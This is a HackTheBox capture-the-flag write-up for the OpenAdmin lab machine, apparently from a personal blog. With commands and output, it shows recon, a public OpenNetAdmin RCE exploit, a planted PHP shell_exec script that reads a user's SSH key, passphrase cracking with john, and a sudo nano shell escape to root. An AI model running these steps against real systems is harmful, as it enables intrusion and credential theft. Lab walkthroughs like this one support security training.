HackTheBox - OpenAdmin

— Written by — 9 min read
openadmin-hackthebox

OpenAdmin just retired on HackTheBox. It’s an easy difficulty Linux based box, it need a bit of exploit, lot of recon, pivot and a bit GTFObins to finish, nice combo right? While this box is rated easy I wouldn’t recommend it for beginners since it require a lot a recon, it’s easy to miss important information and can be very frustrating if you are not used to it.

Tl;Dr: To get the user flag you had to exploit a Remote Code Execution exploit on an outdated opennetadmin instance. You get a shell as www-data from which you pivot to the jimmy user after finding his password in a database config file. From jimmy account you pivot again to joanna account by extracting her ssh private key using a php script since the Apache web server is configured to run as user joanna and we have write rights over the Document Root folder. Finally as joanna we can get the user flag.
The root flag was a bit less tricky and needed you to execute a shell from inside a privileged nano that joanna is allowed to run as root without password.

Alright, let’s get into it!


First thing first, let’s add the box IP to the host file:

1
[hg8@archbook ~]$ echo "10.10.10.171 openadmin.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ nmap -sV -sT -sC openadmin.htb
Nmap scan report for openadmin.htb (10.10.10.171)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 8.03 seconds

We have the “classic”: A web app running on port 80 and the SSH port 22 open.

Opening http://openadmin.htb/ display the Apache2 Ubuntu default page:

Apache2 Ubuntu default page

Nothing really interesting to see here… Let’s open gobuster to see if he can find some juicy files and folders:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ gobuster dir -u "http://openadmin.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/artwork (Status: 301)
/music (Status: 301)
/server-status (Status: 403)
/sierra (Status: 301)

Three uncommon folder here:

  • artwork and sierra are just static demo website, nothing to do on it.

  • music looks like this:

music website hackthebox

Oddly enough the Login button redirect to an admin interface:

open admin page

First thing that catch the eye is this big yellow message:

You are NOT on the latest release version
Your version    = v18.1.1
Latest version = Unable to determine

Please DOWNLOAD the latest version.

We all know what outdated software means right :D

Selecting the “DOWNLOAD” link redirect to the software page which is called…. OpenNetAdmin. At first I though the name of the box would be related to a admin page being open and easily accessible but turn out it was more a reference to the software used.

We have the name of the software and it’s version (which is outdated). Let’s see if some already made exploits are available:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ searchsploit opennetadmin
------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
------------------------------------------------------------- ----------------------------------------

Bingo! Remote code execution on the exact version running here. Should be easy right?

1
2
3
4
[hg8@archbook ~]$ wget https://www.exploit-db.com/raw/47691 -o opennetadmin-rce.sh
[hg8@archbook ~]$ bash exploit.sh http://openadmin.htb/ona/
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We got a shell as www-data.

Pivot www-data -> jimmy

Let’s start by enumerating users:

1
2
3
4
www-data@openadmin:/$ ls -lh /home/
total 8.0K
drwxr-x--- 5 jimmy jimmy 4.0K Jan 24 02:10 jimmy
drwxr-x--- 6 joanna joanna 4.0K Nov 28 09:37 joanna

Two users, we don’t have enough rights to access neither of their home folder. Let’s continue our enumerations.

One thing that often gives good results on web applications is searching for hard-coded password. A little grep can do that for us:

1
2
3
4
www-data@openadmin:/$ grep -ri pass .
[...]
./local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
[...]

Here is something interesting! The full config file is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);

Let’s see if this password can work for either jimmy or joanna:

1
2
3
4
5
6
7
8
9
10
11
12
[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

Last login: Fri Jan 24 01:52:49 2020 from 10.10.14.43
jimmy@openadmin:~$ ls
jimmy@openadmin:~$

It works with jimmy! Unfortunately there is no user flags here, but at least we get a stable shell.

Pivot jimmy -> joanna

Since we got database access I went to check if we could find juicy informations and potential other users password hash in the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
jimmy@openadmin:~$ mysql -u ona_sys -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ona_default |
+--------------------+
2 rows in set (0.00 sec)

mysql> USE ona_default;
Database changed
mysql> SHOW TABLES;
+------------------------+
| Tables_in_ona_default |
+------------------------+
| [...] |
| users |
| [...] |
+------------------------+
40 rows in set (0.01 sec)

mysql> SELECT * FROM users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password | level | ctime | atime |
+----+----------+----------------------------------+-------+---------------------+---------------------+
| 1 | guest | 098f6bcd4621d373cade4e832627b4f6 | 0 | 2020-01-23 10:12:57 | 2020-01-23 10:12:57 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+----+----------+----------------------------------+-------+---------------------+---------------------+
2 rows in set (0.00 sec)

Two MD5 hash. Quick Google search shows that 098f6bcd4621d373cade4e832627b4f6 is hash for test and 21232f297a57a5a743894a0e4a801fc3 is hash for admin.

Too bad no hash for joanna here. Let’s move on to more recon.

While looking around (still using the awesome grep) we find some interesting config files mentioning joanna:

1
2
3
4
5
jimmy@openadmin:/etc$ grep -ri "joanna" . 2>/dev/null
./passwd-:joanna:x:1001:1001::/home/joanna:/bin/bash
./apache2/sites-available/internal.conf:AssignUserID joanna joanna
./sudoers.d/joanna:joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/priv
[...]

The sudoers.d one look perfect for a privilege escalation don’t you think ? Let’s keep this in mind for later. The one that really catch my eye is the apache config. Let’s see the full file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

It was the first time I saw about the AssignUserID configuration. Even if we can easily understand that it’s meant to run the apache process for this virtualhost as joanna instead of www-data I searched on the documentation out of curiosity to learn more about this.

This configuration is available through the apache2-mpm-itk module:

AssignUserID: Takes two parameters, uid and gid (or
really, user name and group name; use “#” if you want to
specify a raw uid); specifies what uid and gid the
vhost will run as (after parsing the request etc., of course).

So, the virtualhost for /var/www/internal document root runs as joanna. If we can find a Remote Code Execution command in the PHP code in this folder (by abusing an eval or uploading web shell for example), then we can run commands as joanna user.

To be honest, I missed this folder in my previous recons, so let’s see what’s inside now:

1
2
3
4
5
6
7
jimmy@openadmin:/$ ls -l /var/www/
drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx--- 2 jimmy internal 4096 Jan 24 03:11 internal
jimmy@openadmin:/var/www/internal$ ls -l
-rwxrwxr-x 1 jimmy internal 3228 Jan 24 03:11 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php

Here is something interesting… The internal folder is owned by our current jimmy, meaning we can write anything we want in this folder. I will use use the shell_exec() php function to try to retrieve joanna ssh private key.

Here is one way to do it:

1
2
3
<?php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo $output;

Now let’s run it! (Remember apache listen on port 52846 for this virutalhost as we can see in the internal.conf config file)

1
2
3
4
5
6
7
8
9
10
11
jimmy@openadmin:/$ curl 127.0.0.1:52846/hg8.php
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
[...]
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

Bingo!

Note: Don’t forget to remove your php file to not spoil users after you ;)

We can now use joanna ssh private key to login to her account:

1
2
[hg8@archbook ~]$ ssh -i joanna_id_rsa [email protected]
Enter passphrase for key 'joanna_id_rsa':

No luck! Passphrase is needed. From here we have two choices:

  1. Either we go back to our php script and edit it to open a reverse shell instead of grabbing the private key.

  2. We try to brute-force joanna private key passphrase.

I think it would be more interesting to show how to brute-force the hash, if we fail we can still go back to open a simple reserve shell.

I will use john to bruteforce the ssh key passphrase:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ ssh2john joanna_id_rsa > id_rsa.hash
[hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
bloodninjas (joanna_id_rsa)
1g 0:00:00:14 DONE (2020-01-24 17:05) 0.07062g/s 1012Kp/s 1012Kc/s 1012KC/s *7¡Vamos!
Session completed
[hg8@archbook ~]$ john --show id_rsa.hash
joanna_id_rsa:bloodninjas

Great we got it, and it’s related to ninja again. Let’s grab our flag now:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ ssh -i joanna_id_rsa [email protected]
Enter passphrase for key 'joanna_id_rsa':

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

Last login: Thu Jan 2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ cat user.txt
cxxxxxxxxxxxxxxxxxxxxxxxxxxf

Root Flag

Recon

The recon phase won’t be needed there since we already got the information we needed while searching around for user flag. As a reminder:

1
2
3
4
5
6
7
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

A good habit for fast privilege escalation techniques is to check on GTFOBins.

As a reminder:

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

And of course there is an entry for nano:

GTFObins nano

Note: ^R means CTRL+R, same for ^X means CTRL+X

Exploit nano SUID

Let’s give it a try!

1
2
3
4
5
6
7
joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
2xxxxxxxxxxxxxxxxxxxxxxxx1

As always do not hesitate to contact me for any questions or feedbacks :)

See you next time !

-hg8



CTFHackTheBoxEasy Box
, , , , , , , , , ,